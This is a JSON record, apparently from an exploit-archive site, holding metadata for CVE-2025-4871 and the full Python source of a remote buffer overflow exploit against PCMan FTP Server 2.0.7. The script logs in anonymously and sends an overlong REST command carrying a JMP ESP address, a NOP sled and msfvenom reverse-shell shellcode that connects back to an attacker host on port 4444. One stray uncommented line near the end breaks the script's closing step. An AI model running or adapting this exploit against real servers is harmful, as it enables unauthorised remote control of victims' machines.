{"exploit":{"id":"EDB-52657","name":"PCMan 2.0.7 - Buffer Overflow","description":"PCMan 2.0.7 - Buffer Overflow","cves":["CVE-2025-4871"],"author":"Thiago Cunha","published":"2026-08-18","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52657","path":"exploits/windows/remote/52657.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52657.py","vulnerabilities":[{"id":"CVE-2025-4871","state":"PUBLISHED","title":"PCMan FTP Server REST Command buffer overflow","titleSource":"CVE Program","description":"A vulnerability, which was classified as critical, has been found in PCMan FTP Server 2.0.7. This issue affects some unknown processing of the component REST Command Handler. The manipulation leads to buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-4871","cvss":{"version":"4.0","baseScore":6.9,"severity":"medium","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","source":"VulDB","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-4871"},"updatedAt":"2025-05-19T14:22:57.984Z","retrievedAt":"2026-11-25T16:13:47.117Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52657.png?v=2","url":"https://exploitbin.com/exploits/EDB-52657","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52657/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52657/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: PCMan FTP Server 2.0.7 - Buffer Overflow\n# Google Dork: [if applicable]\n# Date: 05/18/2025\n# Exploit Author: Thiago Cunha - A.K.A. Blu3B3@rd\n# Vendor Homepage: http://pcman.openfoundry.org/\n# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z\n# Version: 2.0.7\n# Tested on: Windows XP Professional, Service Pack 2 and Service Pack 3\n# CVE : CVE-2025-4871\n\nimport socket\nimport time\n\n# The command to generate shellcode\n# msfvenom -p windows/shell_reverse_tcp lhost=192.168.0.2 lport=4444 EXITFUNC=thread -b '\\x00\\x0a\\x0d' -a x86 --platform Windows -f python\n# Version 5.1 (Build 2600.xpsp.080413-3111 : Service Pack 2)\n# Tested on Windows XP 2 and 3 English\n\nbuf = \"\"\nbuf += \"\\xbd\\xcc\\x95\\x24\\x8c\\xda\\xdb\\xd9\\x74\\x24\\xf4\\x5a\\x33\\xc9\"\nbuf += \"\\xb1\\x52\\x31\\x6a\\x12\\x83\\xc2\\x04\\x03\\xa6\\x9b\\xc6\\x79\\xca\"\nbuf += \"\\x4c\\x84\\x82\\x32\\x8d\\xe9\\x0b\\xd7\\xbc\\x29\\x6f\\x9c\\xef\\x99\"\nbuf += \"\\xfb\\xf0\\x03\\x51\\xa9\\xe0\\x90\\x17\\x66\\x07\\x10\\x9d\\x50\\x26\"\nbuf += \"\\xa1\\x8e\\xa1\\x29\\x21\\xcd\\xf5\\x89\\x18\\x1e\\x08\\xc8\\x5d\\x43\"\nbuf += \"\\xe1\\x98\\x36\\x0f\\x54\\x0c\\x32\\x45\\x65\\xa7\\x08\\x4b\\xed\\x54\"\nbuf += \"\\xd8\\x6a\\xdc\\xcb\\x52\\x35\\xfe\\xea\\xb7\\x4d\\xb7\\xf4\\xd4\\x68\"\nbuf += \"\\x01\\x8f\\x2f\\x06\\x90\\x59\\x7e\\xe7\\x3f\\xa4\\x4e\\x1a\\x41\\xe1\"\nbuf += \"\\x69\\xc5\\x34\\x1b\\x8a\\x78\\x4f\\xd8\\xf0\\xa6\\xda\\xfa\\x53\\x2c\"\nbuf += \"\\x7c\\x26\\x65\\xe1\\x1b\\xad\\x69\\x4e\\x6f\\xe9\\x6d\\x51\\xbc\\x82\"\nbuf += \"\\x8a\\xda\\x43\\x44\\x1b\\x98\\x67\\x40\\x47\\x7a\\x09\\xd1\\x2d\\x2d\"\nbuf += \"\\x36\\x01\\x8e\\x92\\x92\\x4a\\x23\\xc6\\xae\\x11\\x2c\\x2b\\x83\\xa9\"\nbuf += \"\\xac\\x23\\x94\\xda\\x9e\\xec\\x0e\\x74\\x93\\x65\\x89\\x83\\xd4\\x5f\"\nbuf += \"\\x6d\\x1b\\x2b\\x60\\x8e\\x32\\xe8\\x34\\xde\\x2c\\xd9\\x34\\xb5\\xac\"\nbuf += \"\\xe6\\xe0\\x1a\\xfc\\x48\\x5b\\xdb\\xac\\x28\\x0b\\xb3\\xa6\\xa6\\x74\"\nbuf += \"\\xa3\\xc9\\x6c\\x1d\\x4e\\x30\\xe7\\xe2\\x27\\x8a\\x7f\\x8a\\x35\\xea\"\nbuf += \"\\x6e\\x17\\xb3\\x0c\\xfa\\xb7\\x95\\x87\\x93\\x2e\\xbc\\x53\\x05\\xae\"\nbuf += \"\\x6a\\x1e\\x05\\x24\\x99\\xdf\\xc8\\xcd\\xd4\\xf3\\xbd\\x3d\\xa3\\xa9\"\nbuf += \"\\x68\\x41\\x19\\xc5\\xf7\\xd0\\xc6\\x15\\x71\\xc9\\x50\\x42\\xd6\\x3f\"\nbuf += \"\\xa9\\x06\\xca\\x66\\x03\\x34\\x17\\xfe\\x6c\\xfc\\xcc\\xc3\\x73\\xfd\"\nbuf += \"\\x81\\x78\\x50\\xed\\x5f\\x80\\xdc\\x59\\x30\\xd7\\x8a\\x37\\xf6\\x81\"\nbuf += \"\\x7c\\xe1\\xa0\\x7e\\xd7\\x65\\x34\\x4d\\xe8\\xf3\\x39\\x98\\x9e\\x1b\"\nbuf += \"\\x8b\\x75\\xe7\\x24\\x24\\x12\\xef\\x5d\\x58\\x82\\x10\\xb4\\xd8\\xa2\"\nbuf += \"\\xf2\\x1c\\x15\\x4b\\xab\\xf5\\x94\\x16\\x4c\\x20\\xda\\x2e\\xcf\\xc0\"\nbuf += \"\\xa3\\xd4\\xcf\\xa1\\xa6\\x91\\x57\\x5a\\xdb\\x8a\\x3d\\x5c\\x48\\xaa\"\nbuf += \"\\x17\"\n\n# The target and port\ntarget_ip = \"192.168.0.5\"\ntarget_port = 21\n\n# Exploit estructed\noffset = b\"A\" * 2006\neip = b\"\\xd9\\x2f\\xe3\\x74\"  # JMP ESP\nnops = b\"\\x90\" * 20        # Sled NOP\npayload = offset + eip + nops + buf\n\n# Connect to target\ntry:\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((target_ip, target_port))\n    print(f\"[+] Conectado a {target_ip}:{target_port}\")\nexcept Exception as e:\n    print(f\"[-] Error to connect: {e}\")\n    exit(1)\n\n# Receive banner\nbanner = sock.recv(1024)\nprint(banner.decode(errors='ignore'))\n\n# Send user\nsock.sendall(b\"USER anonymous\\r\\n\")\nprint(sock.recv(1024).decode(errors='ignore'))\ntime.sleep(1)\n\n#Send pass\nsock.sendall(b\"PASS anonymous\\r\\n\")\nprint(sock.recv(1024).decode(errors='ignore'))\ntime.sleep(1)\n\n# Send payload to exploiting buffer Overflow\nexploit_command = b\"REST \" + payload + b\"\\r\\n\"\nsock.sendall(exploit_command)\nprint(sock.recv(1024).decode(errors='ignore'))\ntime.sleep(1)\n\nClose Connection\nsock.close()\nprint(\"[+] Conexão encerrada.\")","sha256":"2e56e938d72a41a0d535b86b82b6f87253540075e32710a4c5d5b8af3f6a62dd","bytes":3413,"fetchedAt":"2026-11-25T10:17:07.691Z","encoding":"utf-8 (display only; download retains original bytes)"}